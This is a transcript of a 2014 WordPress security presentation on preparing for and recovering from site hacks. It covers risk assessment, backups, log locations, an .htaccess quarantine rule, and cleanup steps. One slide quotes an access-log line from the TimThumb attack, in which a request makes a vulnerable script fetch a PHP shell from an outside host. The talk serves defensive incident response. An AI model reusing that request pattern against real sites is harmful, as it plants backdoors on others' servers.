Are you ready to be hacked?

29
ARE YOU READY TO BE HACKED? Daniel Kanchev @dvkanchev May 17th, 2014

description

This is the presentation which I used during the awesome "WPSession #11: Security for Site Owners". I shared important information about how site owners should react to website attacks. I talked about risk management, assets evaluation and getting help from the right people that know WordPress and care about security.

Transcript of Are you ready to be hacked?

Page 1: Are you ready to be hacked?

ARE YOU READY TO BE

HACKED?Daniel Kanchev @dvkanchev

May 17th, 2014

Page 2: Are you ready to be hacked?

WHO AM I?

• 7+ Years of WordPress experience • 5 Years with SiteGround • Love FOSS • Security Freak • Addicted to extreme sports

Daniel Kanchev

Page 3: Are you ready to be hacked?

IN THIS SESSION

• Why Should YOU Care

• Assets Evaluation

• Getting Help

• A KISS Disaster Recovery Plan

• Conclusion

Page 4: Are you ready to be hacked?

WHY MEEEEEEEE ???

Page 5: Are you ready to be hacked?

IN 2013, 61 % OF REPORTED ATTACKS TARGETED SMALL AND MEDIUM BUSINESSES, UP FROM 50% IN 2012

Source: Symantec Internet Security Threat Report 2014; Volume 19, Published April 2014

Page 6: Are you ready to be hacked?

77% OF LEGITIMATE WEBSITES HAD EXPLOITABLE VULNERABILITIES. 1-IN-8 HAD A CRITICAL VULNERABILITY.

Source: Symantec Internet Security Threat Report 2014; Volume 19, Published April 2014

Page 7: Are you ready to be hacked?

MEGA BREACHES: RESULTING IN PERSONAL DETAILS OF OVER 10 MILLION IDENTITIES EXPOSED IN AN INDIVIDUAL INCIDENT.

Source: Symantec Internet Security Threat Report 2014; Volume 19, Published April 2014

Page 8: Are you ready to be hacked?

THERE WERE EIGHT IN 2013, COMPARED WITH ONLY ONE IN 2012!

+ 700 %Source: Symantec Internet Security Threat Report 2014; Volume 19, Published April 2014

Page 9: Are you ready to be hacked?

ATTAKS PER DAY

2010 2012 2013

570,000

464,000

190,000

Source: Symantec Internet Security Threat Report 2014; Volume 19, Published April 2014

Page 10: Are you ready to be hacked?

ASSETS EVALUATION

Page 11: Are you ready to be hacked?

MODULAR DESIGN

• Divide your site in logical components

• Allocate weight to all components

• Sort components based on criticality

Page 12: Are you ready to be hacked?

EXAMPLE TABLE

Component Weight

WooCommerce plugin 4

Custom theme 3

Gallery plugin 2

Contact form 1

Page 13: Are you ready to be hacked?

GETTING HELP

Page 14: Are you ready to be hacked?

IDENTIFY WHO CAN HELP YOU

• The support team of your web host

• Plugin and theme developers

• Third party companies

• Security specialists

Page 15: Are you ready to be hacked?

THE SUPPORT TEAM OF YOUR WEB HOST

• Website diagnostics

• Website backups and restores

• Log analysis

• WordPress core/plugin/theme upgrades

• Regular Security Audits

• Malware notifications and malicious code cleaning

Page 16: Are you ready to be hacked?

PLUGIN AND THEME DEVELOPERS/SUPPORT

• New plugin/theme versions

• Security updates

• Migration to new versions of your themes/plugins

Page 17: Are you ready to be hacked?

DISASTER RECOVERY PLAN

Page 18: Are you ready to be hacked?

7 ”EASY” STEPS1. DON’T PANIC!

2. Create a copy of the hacked site + all logs

3. Quarantine your site

4. Remove the malicious code

5. Check the archived logs for the source of the attack

6. Resolve the security issues that caused the problem

7. “Unquarantine” your site

Page 19: Are you ready to be hacked?

1. BACKUP YOUR HACKED SITE

1. mysqldump -uU -pP DB > yoursitefolder/DB.sql 2. tar zcvf backup.tar.gz yoursitefolder

How to backup:

Why to do this:

This is needed, so that you can later find outthe source of the attack/vulnerability!

Page 20: Are you ready to be hacked?

USEFUL LOGS(on a cPanel server)

• /var/log/messages - FTP log for PureFTPd • /usr/local/apache/domlogs/DOMAIN.COM -

Apache access log • /var/log/exim_mainlog - Exim mail server

log • /usr/local/cpanel/logs/access_log - cPanel

File Manager log • /var/log/secure - SSH connections log

Page 21: Are you ready to be hacked?

2. QUARANTINE YOUR SITE + CHANGE PASSWORDS

1. Protect your users and visitors 2. Disallow Google to access your hacked

site 3. Keep hackers away during the cleaning of

the site

Page 22: Are you ready to be hacked?

USE .HTACESS MAGIC<IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{REMOTE_ADDR} !^123\.56\.89\.12 RewriteCond %{DOCUMENT_ROOT}/maintenance.html -f RewriteCond %{DOCUMENT_ROOT}/maintenance.enable -f RewriteCond %{SCRIPT_FILENAME} !maintenance.html RewriteRule ^.*$ /maintenance.html [R=503,L] ErrorDocument 503 /maintenance.html Header Set RetryAfter "14400" Header Set CacheControl "maxage=0, nostore" </IfModule>

Page 23: Are you ready to be hacked?

3. REMOVE THE MALICIOUS CODE

1. Restore the site from a clean backup

OR

2. Clean the affected files/database tables

Page 24: Are you ready to be hacked?

4. ARCHIVED LOGS ANALYSIS

• Is complicated • Is time consuming • Requires advanced HTTP knowledge • Should be performed by security specialists

Page 25: Are you ready to be hacked?

EXAMPLE - THE TIMTHUMB HACK

189.100.29.167 - [12/Apr/2014:06:53:41 +1000] “GET /wpcontent/themes/premiumtheme/timthumb.php?src=http://www.blogger.com.ex l.ro/max/wp-mails.php HTTP/1.1ʹ′ʹ′ 301 – “-” “Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]”

189.100.29.167 - IP of the attacker. premiumtheme/timthumb.php - Vulnerable script. wp-mails.php - PHP shell script.

Page 26: Are you ready to be hacked?

5. RESOLVE THE SECURITY ISSUES

• Upgrade WP core, plugins and themes • Upgrade server software if needed • Patch your code and use WAF in case there

are no upgrades available

Page 27: Are you ready to be hacked?

6. UNQUARANTINE YOUR SITE + CHANGE PASSWORDS

• Remove the maintenance page • Inform users about the breach if needed • Keep an eye on your files/DB

Page 28: Are you ready to be hacked?

CONCLUSION

• Web security is complicated! • Rely on partners to recover your site. • Be ready to manage the whole process. • Know your assets. • Make sure you have good security awareness. • Security is a journey - NOT a destination!

Page 29: Are you ready to be hacked?

THANK YOU